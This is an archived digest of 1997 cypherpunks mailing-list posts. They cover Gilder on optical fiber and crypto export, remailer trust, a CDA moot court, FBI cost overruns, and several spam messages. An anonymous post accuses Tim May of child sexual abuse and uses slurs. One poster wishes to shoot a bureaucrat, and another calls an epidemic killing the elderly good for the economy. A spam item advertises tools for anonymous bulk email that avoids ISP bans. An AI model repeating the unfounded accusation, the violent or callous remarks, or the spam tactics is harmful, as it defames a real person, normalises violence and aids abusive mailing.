       ____ .)  // Tim May
      (____    @ /
           \    \
            ) /\ \
            \/ (_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Mar 1997 05:46:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dark Fiber Redux
Message-ID: <v03020900af51a5634a2b@[204.179.136.89]>
MIME-Version: 1.0
Content-Type: text/plain


Just to throw a little gasoline on the George Gilder "Dark Fiber"
discussion around here, I found a huge, spiffy trove of Gilderama at:

http://www.computer.org/internet/9701/gilder9701.htm


Wherein the esteemed (at least I do ;-)) Mr. G says:

> Remember that the fibersphere I've written a lot about is based on
>wavelength-division multiplexing of tremendous amounts of bandwidth, which
>can serve as a substitute for switches with all optical repeaters. And by
>the way they've just developed fluoro-zirconate repeaters that can handle
>the whole bandwidth of fiber. I don't know whether this technology will
>actually prove out or not, but for the first time they have demonstrable
>all-optical amplifiers that can handle the entire intrinsic bandwidth of
>fiber, which is quite an amazing development in just a year or two. The
>erbium-doped fiber amplifiers top out at 4.5 terahertz, so they can't
>accommodate the potentially 25-75 terahertz that every fiber,
>theoretically, could hold.

What this means, of course, is that (kind of, as CDMA etc., counts a
switching, I guess) like wireless, electromagnetic bandwidth, some day
you'll have huge glops of non-switched fiber bandwidth to play with. In
theory, at least, everyone gets a color, or frequency, and they listen on
that frequency for their inbound stuff. If you want to send someone
something, you literally tune them in and send it. Actually, I see these
frequencies using CDMA carrier waves when it eventually happens, but you
get the idea.

The implications for cryptography are rather cool. I don't *think*  these
doped optical amplifiers interfere with so-called quantum cryptography (not
to be confused with quantum computing, of course). If I remember my SciAm
back issues, quantum crypto is cool, because if anyone touches the signal
from Alice to Bob they're detected immediately. Or, is it that the signal
drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
and that's what you have with optical non-switched amplification, whether
you're disturbing the photons is another story. Anyone here know for sure?
I remember discussion about this, but I don't remember the answer.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:06 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <332C247D.76AC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research

As a general rule ("netiquette"), you don't attach *anything* to a
message posted to a list.  If the attachment is plain text, however,
and it's rather small, i.e., same as you would hand-type inline, and
you're sure nobody's browser will have a problem with it, it might
be OK then.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:33 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <332C2A63.2DA7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov wrote:

> joe was pulled off a major drug case
> in the wiretapping of my phone i expect a jealous
> husband to tap my phone on in gardner ks on
[snip]
> No, the above was NOT written by me, nor by carl starrs. It was generated
> by a perl script, which emulates writing styles of different people.
> The way it does it is by keeping track of pairs of words and their most
> frequently used subsequent words. It reads articles (or any text really)
> written by the target person, builds the style tables, and then geenrates
> the "most likely" text.
> Carl starrs was a good target for two reasons, one of which is that he
> does not use punctuation.

Graham-John whoever also did not use punctuation in his sentences.
One could argue that they were too brief, however, proper English
would have dictated a comma here and there.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Mar 1997 06:28:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilder on CDA, Crypto Export, DES, and Financial Cryptography
Message-ID: <v03020904af51b105058a@[204.179.128.11]>
MIME-Version: 1.0
Content-Type: text/plain


It's nice to see that the clueful memes are spreading, Gilder's congenital
statism aside :-).

Also from http://www.computer.org/internet/9701/gilder9701.htm .



> Petrie: While we're on the subject of choice, what do you think about the
> First Amendment issues currently before the Supreme Court concerning the
> use of legislation to block the viewing of pornography on the Internet?
>
> Gilder: My belief is that you don't have to change the laws to deal with
> the child pornography or snuff films or other extreme cases that are
> employed to justify sweeping regulation of the Net. I think they're a
> distraction, they're a red herring. My 12-year-old son is on the Net all
> the time and I'm eager for the evolution of techniques applicable at the
> terminal to lock out certain domains of the Internet to children. But I
> think that porn of sufficiently revolting character is widespread all over
> the society. If the politicians want to crack down, how about the
> Spectravision boxes in every hotel room?
>
> To focus on the Internet bespeaks another agenda. And I don't
> approve of the other agenda, which is to control this new communication
> system, because the way they controlled the old one has been a disaster--it
> has greatly slowed the extension of bandwidth and led to this kind of
> optical illusion, or nonoptical illusion, that bandwidth is somehow scarce
> and difficult to create.
>
> Petrie: This also reminds me of the paranoia about security on the
> Internet. For example, online banking on the Internet requires you to have
> a US-grade security browser, a user ID, and a password to access the same
> service you can use three digits to access by telephone.
>
> Gilder: I completely agree with that observation. There is a paranoid note
> in this encryption and privacy issue. But I think corporations do have a
> real problem. If you're sending billions of dollars of value across the
> Net, you've created a huge incentive for people to break your codes and
> skim off some small proportion of your value flow.
>
> Petrie: But we're not talking about financial transactions. Those have been
> secured for quite some time.
>
> Gilder: But how? They're using the DES (data encryption standard) algorithm
> which is a fairly low level of encryption employed by banks for
> transmitting funds. I know it works--I really don't agree with the thesis
> that the Internet is insecure--however, I'm willing to imagine there are
> applications where you want more security than currently exists. But we are
> talking about a lot of issues here all at once. The encryption issue about
> terrorism, for example. Banning strong encryption in order to thwart
> terrorists means that only terrorists will have strong encryption. I really
> think that's accurate--or at least only foreign countries will be able to
> have encryption. So the encryption technology will tend to move overseas
> where it's completely beyond the reach of US security.
>
> I think the government's going to figure out that they want the best
> encryption to be American. And to disagree with the current wisdom, there
> is an arms race. The arms race is with the terrorists. There's no question
> about it. But there is no quick technical fix for this arms race. The
> government has to understand this is a dynamic rather than a static arms
> race, and you won't be able to solve the problem by treaty. The problem is
> that of evil in the world, and it's something all of us, including people
> who want a wild and woolly Internet, depend on our government to address.


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 10:04:40 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332C34D6.1211@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> I will always remember reading a magazine piece by a fellow who
> described the increasing persecution of the Jews in Nazi Germany,
> and the abuses to which he was himself subjected.
> However, when describing the night when the jackboots kicked in
> his door to take his family to the death camps, he begins his
> account by saying, "They came without warning..."

Gosh, I feel bad whipping on one of the old/reliable/reputable
posters here, but, this seems to perfectly describe one T.C. May
and how he just couldn't believe what Sandy was doing, or that
Sandy would consider the c-punks' reputation to be expendable.

> > Check out the stiff who's pictured with Phil in the MicroTimes
> > current issue, his new partner or something.  Phil looks happy,
> > like they gave him a lifetime supply of double-stuff Oreos.

> Are both of Phil's partner's arms in plain view, or is his partner
> perhaps holding a gun on him?

I think someone else has a gun on both of them.  The "partner" is
wearing a badly-composed grin, but then he may have been pulled out
of the closet at the last moment for the photo, and the light could
be bothering him.

> I agree with TruthMonger's position that the very fact of extreme
> pressure being applied should be grounds for considering that perhaps
> PGP might have been compromised at some level, no matter what an
> analysis of the "numbers" shows, or one's faith in Philly Z.

Not only the software, but folks get lulled into complacency with
the "new, distributed" lists, thinking that since Gilmore/Sandfort
are "gone", everything is going to be OK from now on.

> There seems to be some weakly thought out definition of 'paranoia'
> going around which deems it to be the feeling you are supposed to get
> when you hear the sound of the jackboots on your door. Excuse me for
> disagreeing, but I believe the proper feeling at that point in time
> may be resignation to your own death (and a firm resolve not to go
> 'alone' into that dark night).

I have a Sid Vicious t-shirt that says "never let them take you
alive".  I really enjoyed the story of the Warsaw ghetto uprising
when I first heard it, and whereas Sid and the Warsaw dwellers are
from a different time and mindset, I think us modern folks can draw
the appropriate analogies.

> Or, if your door is strong enough, you might have one last chance
> to play "Hide the Salami" with Lady Byrd.

A gun in one hand and a babe in the other - what a privelege to be
an American!!  BTW, I saw an all-stainless Colt King Cobra .357
in a pawn shop the other day for $475.  Clean as a whistle.  I
snatched that puppy up real quick.  It would be my dying wish
to have some otherwise faceless bureaucrat be the recipient of
its intended use, should it come to that.

> Someone suggested to me, in private email, that they would suspect
> TruthMonger to be a Toto testicle, except for the lack of humor in
> any of his posts. However, I couldn't help but notice that TruthMonger's
> original post in this thread was a reply to a request for information in
> regard to "Anonymous Nymserver at anon.nymserver.com", and a request for
> an opinion as to the competence and integrity of those involved in its operation.

Exactly.  Now who would be taking an option on throwaways like that?

> Neither could I help noticing that TruthMonger's reply, which had
> mercilessly slammed both the integrity and motivations behind all
> remailer operations, and which suggested that one unequivocally mistrust
> all of them, was sent from the very anon-server in question.
> Make of this what you will, but bear in mind that Hypocrisy and
> Humor are not all that far apart in the dictionary.

[hee hee hee]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 16 Mar 1997 07:06:40 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Why keep that cash in the US?
Message-ID: <199703161503.KAA19888@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


HOUSTON (AP) -- The U.S. government can seize $7.9 million
from the bank account of Mexico's former top drug prosecutor, who was
accused of taking bribes from drug traffickers, a jury decided
Saturday.  

http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why keep that cash in the US?
In-Reply-To: <199703161503.KAA19888@homeport.org>
Message-ID: <Rw1N4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack <adam@homeport.org> writes:

> HOUSTON (AP) -- The U.S. government can seize $7.9 million
> from the bank account of Mexico's former top drug prosecutor, who was
> accused of taking bribes from drug traffickers, a jury decided
> Saturday.
>
> http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

This reminds me of the story of how the Eurodollar market was born.
Once upon a time, most countries had some U.S. dollar reserves which
they kept on deposit in the U.S.  The U.S.S.R. was one of those countries.
One day the U.S. indicated its desire to freeze Soviet deposits because
it did not like Soviet foreign policy (the way it subsequently froze
Iraq's and Iran's assets). The Soviets wisely took out their money,
took it to London, and started loaning it out at better interest rates
that they had in the U.S. (Prior to this transfer, it was very hard to
find a large dollar-denominated loan outside the U.S.) Soon many U.S.
investors realized that this was a good deal and took their money out
of the U.S., eventually leading to the "credit crunch" in the '70's.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Triangle Area {Coder,Cypher}punks Group
In-Reply-To: <Pine.LNX.3.95.970316134545.3944B-100000@marvin.sp.org>
Message-ID: <V91N4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


The Deviant <deviant@netlite.com> writes:
>
> On Sun, 16 Mar 1997, Simon Spero wrote:
>
> > [Partial resend from when the cryptography was down]
> >
> >
> >   Anybody interested in starting a Triangle area cpunks? Seems to be
> >   enough folks in the area to start putting together some regular
> >   physical meetings; since there's starting  to talk about  putting togethe
> >   a triangle-wide PKI pilot, now's a great time to get started.
> >
> > If you're intersested, please ack so I can get an idea if Mayberry RSA is
> > going to fly or not
> >
> > Simon
>
> Count me in for triangle cpunks...

Pink triangle?

> Just no meatings on the first or third fridays of the month...
>
>  --Deviant
>    PGP KeyID = E820F015 Fingerprint = 3D6AAB628E3DFAA9 F7D35736ABC56D39

We came to WashDC cpunk physicals a few times and it wasn't worth it.
There's an interesting exhibition of Romanoffs' jewerly at the Corcoran
- much more fun than any cpunks we've ever met.

> Sendmail may be safely run set-user-id to root.
>                 -- Eric Allman, "Sendmail Installation Guide"

Well, do you, punk? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 16 Mar 1997 11:04:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703161904.LAA19941@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 09:04:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Froomkin in the news
Message-ID: <Pine.GSO.3.95.970316115649.1678A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


A Moot-Court dry run of the upcoming CDT hearing by the Supremes was held
Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CDT probing of the ACLU anti-CDT guys was probably good
practice for them, but he sure gave me the impression he really believed
what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 09:14:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Froomkin in the news II
Message-ID: <Pine.GSO.3.95.970316121218.4045A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




A Moot-Court dry run of the upcoming CD_A_ hearing by the Supremes was
held Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CD_A_ probing of the ACLU anti-CD_A_ guys was probably
good practice for them, but he sure gave me the impression he really
believed what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Mar 1997 10:51:14 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <332C34D6.1211@gte.net>
Message-ID: <199703161847.MAA04824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> A gun in one hand and a babe in the other - what a privelege to be
> an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> in a pawn shop the other day for $475.  Clean as a whistle.  I
> snatched that puppy up real quick.  It would be my dying wish
> to have some otherwise faceless bureaucrat be the recipient of
> its intended use, should it come to that.

Sounds kinda expensive. What kind of gun is that? 

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Mar 1997 11:21:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703161920.OAA18964@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] Maytag is not only as queer as a 
three dollar bill, but he is also into having 
sex with children.

      \\///
      |O O| Timmy C[unt] Maytag
      | ( |
      |_@_|
        H





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: friend@your.friend.com (Your Friend)
Date: Sun, 16 Mar 1997 06:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Moment of Your Time Please
Message-ID: <199703161444.GAA01094@switzerland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


If this message is unwelcome, please delete it.
You will not receive another from me.

Dear online marketer,

I have GREAT NEWS FOR ALL BULK EMAILERS and everyone who
markets a product or service online.

                  No more FLAMES

No more getting kicked off your ISP for bulk emailing

No more need to have a THROWAWAY ACCOUNT

No more need for a BULK EMAIL FRIENDLY ISP


This new ADVANCE software is designed to ELIMINATE all the above
and keep you FOCUSED on making money online.

This software was designed to work with NETCONTACT & FLOODGATE.

                 A must have for all bulk emailer.

                 It's Every bulk emailer's dream!

I used to have the usage of a virtual provider "Earthstar" and
one morning to my surprise their wires had been disconnected by
the telephone Company. I could no longer send out E-mail without
being identified by the receiver of the E-mail and reported to
my ISP and perhaps kicked off of my local provider. Then I ran
across the coolest software that would assist me in sending E-mail
and not being identified by anyone. Whether you live in a country
that doesn't allow you to use free speech, your shy and want to
send an anonymous love poem to someone, you want to advertise your
product without losing your ISP account, or you just want to flame
your boss without anyone knowing, then you may need the E-mail
Cloaking Device. This 32 bit shareware program enables you to send
anonymous correspondence all over the world.

If you would like to receive a free demo copy of this great software,
go to the Register page.  Fill it out and put TRG Associates as your Sales Rep.

go to the Register Page: http://www.hootowl.com/cloak/registerJ.htm

And then  GO TO: http://www.hootowl.com/cloak/emailJ.htm 

and download the demo version of Email Cloaking Device (ECD). It will 
allows you to e-mail up to 5 e-mails at a time. If you decide you want to
e-mail more at one time, you can order the commercial version by
sending your name, address, e-mail address and a money order for $299.95

		To:  	TRG Associates
			P. O. Box 337
			Greenville, TX 75403-0337
			Phone 903-450-8809

The commercial version has no restriction on how many people you can
send a message too at once. Also, the annoying message box that tells
you of each message sent has been taken out so that you can push one
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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junk then go to: http://catalog.com/tsw/efilter/ and download
this program. It will do the repelling job for you automatically.
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Mar 1997 12:46:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: BAD_gyz
Message-ID: <1.5.4.32.19970316203851.006c4ffc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


TWP writes Page Oner on the FBI's computer upgrade
snafu for NCIC and national fingerprint info on demand, 
with multi-millions in overruns and mismanagement. 
It says that as a result Congress has refused initial $100m 
for digital wiretap and will not release funds until the feebies 
show technological and managerial competence.

Freeh and Gorelick claim they were misled on costs of the
upgrades by underlings. However, a feebie says that the 
budgets were deliberately under-priced to get approval, and
that everyone knew more would be needed. 

The implication is that $500 million is too low for DTA, but
that Congress thinks its way too high for bumblers.

-----

BAD_gyz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Sun, 16 Mar 1997 14:50:18 -0800 (PST)
Subject: Failed mail
Message-ID: <ja227327.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Re: Message to debbi@astrobiz.com

This message has not been delivered after 12 hours.
Therefore it is being returned to you.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ja227327; Tue, 11 Mar 1997 13:03:21 -0500
>Subject: time dangers and tenure
>kept to
>Date: Tue, 11 Mar 1997 13:03:20 -0500
>Message-Id: <18032091800564@abraxis.com>
>
>punishment many
>and
>
>fundamentally and works
>captive.  to in a
>them inevitably
>
>of these
>between do lives Feb
>Inc and.  your
>
>resume
>Services important if write
>Years INFORMATION Area Name
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 23:14:36 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332CAFF0.1AD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Biowar attacks (unless giant-scale, intended to kill millions)
> > mainly affect the already-sick, very old, and very weak members
> > of the population.  This is, of course, a favored plan for fascist
> > persons such as the woman who founded Planned Parenthood, George
> > Bush, the Harrimans, Shockley, etc., but nearly useless to target
> > dissidents and "crypto anarchists".

> If medicare or social security get too expensive, an epidemic targeting
> the elderly would be good for the economy. I did a little work with
> (biological) viruses under the late Lou Auslander and the technology
> available 12 years ago was pretty amazing. I'm sure they can do more now.

The analogies from bio-viruses to computer equivalents is interesting
in a crypto-anarchic context.  Be nice to hear more on this.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Mar 1997 23:14:56 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703161847.MAA04824@manifold.algebra.com>
Message-ID: <332CB246.297D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > A gun in one hand and a babe in the other - what a privelege to be
> > an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> > in a pawn shop the other day for $475.  Clean as a whistle.  I
> > snatched that puppy up real quick.  It would be my dying wish
> > to have some otherwise faceless bureaucrat be the recipient of
> > its intended use, should it come to that.

> Sounds kinda expensive. What kind of gun is that?

I hadn't shopped for a gun in 10 years, and the only high-quality
Colt revolver I knew of then was the Python, which was $675 new
in 1986.  I'm sure the equivalent today would be $1200 or more,
so I thought the Cobra at $475 used was a good deal.  I assume
the Cobra is equivalent to the Python, it sure looks and feels
like it.  If you're familiar with these things, you can tell a
lot just by pulling the trigger and "feeling" the action.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 16 Mar 1997 18:06:02 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703161920.OAA18964@holy.cow.net>
Message-ID: <Pine.A41.3.95.970316190258.111362B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, Bovine Remailer wrote:



This is from the mind of Vulis.

> Date: Sun, 16 Mar 1997 14:20:05 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
> 
> Timmy C[unt] Maytag is not only as queer as a 
> three dollar bill, but he is also into having 
> sex with children.
> 
>       \\///
>       |O O| Timmy C[unt] Maytag
>       | ( |
>       |_@_|
>         H
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Disney Online <site_admin@online.disney.com>
Date: Sun, 16 Mar 1997 20:07:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Registration System Upgrade
Message-ID: <199703170409.UAA18363@postino.disney.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Disney.com Guest:

Disney.com is about to improve its Guest Registration 
system.  Unfortunately, your personalized Disney.com 
Registration name is currently set to expire during the 
upgrade process.

You may prevent this from happening. If you wish to keep 
your current Disney.com Registration name and Password, all 
you need to do is update them by March 24.  Once you do, 
you'll remain eligible to enter all our contests and 
sweepstakes and continue receiving e-mail updates on what's 
new from Disney.

It's easy to update your Registration info!  Simply cut and 
paste (or copy) the following URL into your browser's 
"Address" or "Go To:" window:

  http://www.disney.com/Survey/ddc_registration/update.html

At the top of the Registration page, please type your 
Registration name and Password in the appropriate spaces. 
Then click the "Update my Registration" button and your 
information will be updated automatically.


Of course, if you don't update your Registration now, 
you'll still be able to enter contests at Disney.com any 
time after March 24 -- you simply won't be guaranteed your 
original Registration name and Password and you may have to 
register again.

We apologize for the inconvenience, and we thank you for 
visiting Disney.com!

Your friends at Disney.com



(c) Disney.  All rights reserved.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 18:00:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Threat Model: Biowar
In-Reply-To: <332C222D.423E@gte.net>
Message-ID: <2HTo4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Anonymous wrote:
> > Highly contagious airborne diseases are known to exist.  Germ warfare
> > laboratories are also known to exist.  The owners of these labs will
> > do anything to get and keep power.
> > The Internet and crypto-anarchy threatens those who currently have
> > power.  How will they respond?
> > One response would be a biowarfare attack on the civilian population.
>
> [snip]
>
> Biowar attacks (unless giant-scale, intended to kill millions)
> mainly affect the already-sick, very old, and very weak members
> of the population.  This is, of course, a favored plan for fascist
> persons such as the woman who founded Planned Parenthood, George
> Bush, the Harrimans, Shockley, etc., but nearly useless to target
> dissidents and "crypto anarchists".

If medicare or social security get too expensive, an epidemic targeting
the elderly would be good for the economy. I did a little work with
(biological) viruses under the late Lou Auslander and the technology
available 12 years ago was pretty amazing. I'm sure they can do more now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wealth-Builder@TeamWealth-II.net
Date: Mon, 17 Mar 1997 00:24:29 -0800 (PST)
To: (Recipient list suppressed)
Subject: Hello
Message-ID: <3.0.1.32.19970316205844.006ad67c@TeamWealth-II.net>
MIME-Version: 1.0
Content-Type: text/plain




I was recently introduced to the most powerful wealth generating program in 
the world, and I thought you would like to hear about it.

       			NEVER WORRY ABOUT MONEY AGAIN!

This is a busniness that anyone can do, and it is NOT MLM.  (It's 100 times 
more powerful than MLM!)  Our unique time proven system will put you in a 
position to earn $5000+ per week in a very short period of time.

	   Call our Opportunity Line for a FREE 2 minute introduction:

			        1-800-995-0796 Ext. 6173

P.S.  Our group believes in working as a TEAM.  If you follow our system, 
using our support you WILL be successful.  We have a 100% NO RISK GUARANTEE!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 20:56:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: An interesting spam item on applications of anonymity
In-Reply-To: <199703161444.GAA01114@switzerland.it.earthlink.net>
Message-ID: <H2To4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I found an interesting piece of spam:

From: friend@your.friend.com (Your Friend)
Subject: A Moment of Your Time Please
Date: 16 Mar 1997 16:34:00 -0500

If this message is unwelcome, please delete it.
You will not receive another from me.

Dear online marketer,

I have GREAT NEWS FOR ALL BULK EMAILERS and everyone who
markets a product or service online.

                  No more FLAMES

No more getting kicked off your ISP for bulk emailing

No more need to have a THROWAWAY ACCOUNT

No more need for a BULK EMAIL FRIENDLY ISP


This new ADVANCE software is designed to ELIMINATE all the above
and keep you FOCUSED on making money online.

This software was designed to work with NETCONTACT & FLOODGATE.

                 A must have for all bulk emailer.

                 It's Every bulk emailer's dream!

I used to have the usage of a virtual provider "Earthstar" and
one morning to my surprise their wires had been disconnected by
the telephone Company. I could no longer send out E-mail without
being identified by the receiver of the E-mail and reported to
my ISP and perhaps kicked off of my local provider. Then I ran
across the coolest software that would assist me in sending E-mail
and not being identified by anyone. Whether you live in a country
that doesn't allow you to use free speech, your shy and want to
send an anonymous love poem to someone, you want to advertise your
product without losing your ISP account, or you just want to flame
your boss without anyone knowing, then you may need the E-mail
Cloaking Device. This 32 bit shareware program enables you to send
anonymous correspondence all over the world.

If you would like to receive a free demo copy of this great software,
go to the Register page.  Fill it out and put TRG Associates as your Sales Rep.

go to the Register Page: http://www.hootowl.com/cloak/registerJ.htm

And then  GO TO: http://www.hootowl.com/cloak/emailJ.htm

and download the demo version of Email Cloaking Device (ECD). It will
allows you to e-mail up to 5 e-mails at a time. If you decide you want to
e-mail more at one time, you can order the commercial version by
sending your name, address, e-mail address and a money order for $299.95

		To:  	TRG Associates
			P. O. Box 337
			Greenville, TX 75403-0337
			Phone 903-450-8809

The commercial version has no restriction on how many people you can
send a message too at once. Also, the annoying message box that tells
you of each message sent has been taken out so that you can push one
button, walk away from your computer and send thousands of messages
at a time.  Also a very important point, we use this software and know how
to use it and can offer you technical support.

Good luck and may your next bulk e-mailing make you a million.

Your Friend :-)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you would like to remove ALL e-mail you consider
